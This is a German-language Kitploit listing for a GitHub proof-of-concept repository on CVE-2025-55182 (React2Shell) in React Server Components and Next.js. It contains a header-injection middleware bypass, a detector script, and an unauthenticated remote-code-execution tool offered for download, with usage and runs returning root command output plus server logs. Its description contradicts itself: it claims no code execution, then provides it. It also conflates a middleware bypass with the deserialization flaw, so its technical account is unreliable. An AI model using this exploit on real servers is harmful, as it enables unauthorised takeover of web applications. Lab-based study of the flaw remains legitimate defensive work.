Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-55182 — PoC: CVE-2025-55182 (React) und CVE-2025-66478 (Next.js) | Kitploit
Tools/GitHubGitHub/nehkark/cve-2025-55182
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubnehkark/cve-2025-55182

CVE-2025-55182

PoC: CVE-2025-55182 (React) und CVE-2025-66478 (Next.js)

Repository anzeigen
725vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-55182 / CVE-2025-66478 — Next.js Middleware / RSC-Bypass-Analyse

Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch diese Forschung verursacht werden
Ausschließlich zu Bildungs- und Verteidigungszwecken bereitgestellt


Beschreibung

Dieses Repository enthält ein kleines Labor und eine Proof-of-Concept-Analyse für CVE-2025-55182 und dessen Duplikat CVE-2025-66478, die sich auf Next.js React Server Components (RSC) und das Middleware-Autorisierungs-Bypass-Verhalten beziehen.

Das Ziel dieses PoC ist es, die für die Schwachstelle erforderlichen internen Request-Flow-Bedingungen zu reproduzieren, das Middleware-Verhalten zu analysieren und zu verstehen, wie sich x-middleware-subrequest unter bestimmten Konfigurationen auf geschützte Routen auswirkt.

Dieses Repository bietet keine Remote-Codeausführung
Es bietet eine kontrollierte Umgebung, um Folgendes zu untersuchen:

  • Middleware-Autorisierung
  • RSC- / Flight-Header
  • App-Router-Request-Flow
  • Bypass-Verhalten unter manipulierten Headern

Das NVD klassifiziert CVE-2025-66478 derzeit wie folgt:

Rejected reason: This CVE is a duplicate of CVE-2025-55182

Das Verhalten besteht weiterhin; lediglich die Kennung wurde während der Konsolidierung geändert.


Angriffsvektor (Verhaltenszusammenfassung)

  1. Eine geschützte API-Route wird durch Middleware erzwungen
  2. Eine normale Anfrage gibt 403 Forbidden zurück
  3. Beim Hinzufügen von:
x-middleware-subrequest: 1
  1. Die Anfrage kann fälschlicherweise 200 OK zurückgeben
  2. Das Verhalten hängt vom Middleware-Layout, App Router und den RSC-Headern ab

Header, die in betroffenen Abläufen üblicherweise vorhanden sind:

X-Powered-By: Next.js
x-middleware-rewrite: /...
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url, Accept-Encoding

Laborstruktur

nextjs-vuln/
│
├── Dockerfile
├── package.json
├── middleware.js
│
└── app/
    ├── page/
    │   └── index.js
    │
    ├── protected/
    │   └── page.js
    │
    └── api/
        └── admin/
            └── secret/
                └── route.js

Das Labor ausführen (Docker)

docker build -t nextjs-vuln .
docker run -p 3000:3000 nextjs-vuln

Verwendung des PoC-Skripts

Dieses Repository enthält ein Hilfsskript NextJs.py zur Analyse von:

  • Normalen vs. Bypass-Antworten
  • Middleware-Änderungen
  • Vorhandensein von RSC- / Flight-Headern

Beispiel:

python3 NextJs.py -u http://localhost:3000
krakhen@kapz:~$ python3 NextJs.py -u http://localhost:3000
Next.js React2Shell Passive Detector
------------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Timeout    : 10s
[+] TLS verify : enabled

=== Fingerprint ===
  - Next.js detected via headers.
  - React Server Components (RSC) detected.
  - Inferred Next.js generation: Next.js (generation unclear)

=== React2Shell Probe ===
  - Benign React Flight gadget executed and returned marker digest.
  - This strongly suggests React2Shell / CVE-2025-55182 style vulnerability.

=== Summary ===
Timestamp (UTC): 2025-12-05T22:04:25.089044+00:00
Target         : http://127.0.0.1:3000
HTTP status    : 500
Digest         : REACT2SHELL_PROBE
Verdict        : LIKELY_VULNERABLE to React2Shell-style exploit path

Response body (truncated):
0:{"a":"$@1","f":"","b":"development"} 1:E{"digest":"REACT2SHELL_PROBE","message":"NEXT_REDIRECT","stack":[],"env":"Server"}

Remote-Code-Exploit | PoC poc-cve-2025-55182.py

Mit diesem Tool können Sie beliebig Remote-Code ohne Authentifizierung ausführen.

Verwendung:

  • python3 poc-cve-2025-55182.py -u http://host:port -c "command"
krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "uname -a"
React2Shell PoC - CVE-2025-55182
---------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Command    : uname -a

[+] Sending crafted Flight payload...
[+] HTTP status: 500

[✓] RCE confirmed. Command output:

    Linux 5596495ec378 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64 Linux

krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "whoami"
React2Shell PoC - CVE-2025-55182
---------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Command    : whoami

[+] Sending crafted Flight payload...
[+] HTTP status: 500

[✓] RCE confirmed. Command output:

    root

krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "id"
React2Shell PoC - CVE-2025-55182
---------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Command    : id

[+] Sending crafted Flight payload...
[+] HTTP status: 500

[✓] RCE confirmed. Command output:

    uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Docker-Log


 POST / 500 in 10ms
 ⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
 ⨯ Internal error: Error: NEXT_REDIRECT
    at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:132)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "Linux 5596495ec378 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64 Linux"
  3156 |             return (
  3157 |               (obj = parseInt(value.slice(2), 16)),
> 3158 |               response._formData.get(response._prefix + obj)
       |                                  ^
  3159 |             );
  3160 |         }
  3161 |         switch (value[1]) {
 POST / 500 in 11ms
 ⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
 ⨯ Internal error: Error: NEXT_REDIRECT
    at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:130)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "root"
  3156 |             return (
  3157 |               (obj = parseInt(value.slice(2), 16)),
> 3158 |               response._formData.get(response._prefix + obj)
       |                                  ^
  3159 |             );
  3160 |         }
  3161 |         switch (value[1]) {
 POST / 500 in 11ms
 ⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
 ⨯ Internal error: Error: NEXT_REDIRECT
    at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:126)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"
  3156 |             return (
  3157 |               (obj = parseInt(value.slice(2), 16)),
> 3158 |               response._formData.get(response._prefix + obj)
       |                                  ^
  3159 |             );
  3160 |         }
  3161 |         switch (value[1]) {

Autor & Kontakt

  • Forscher : krakhen.dev
  • GitHub : @nehkark
  • E-Mail : [email protected]**
  • Website : https://vciso.cloud
  • ICQ : 24298753

Tool herunterladen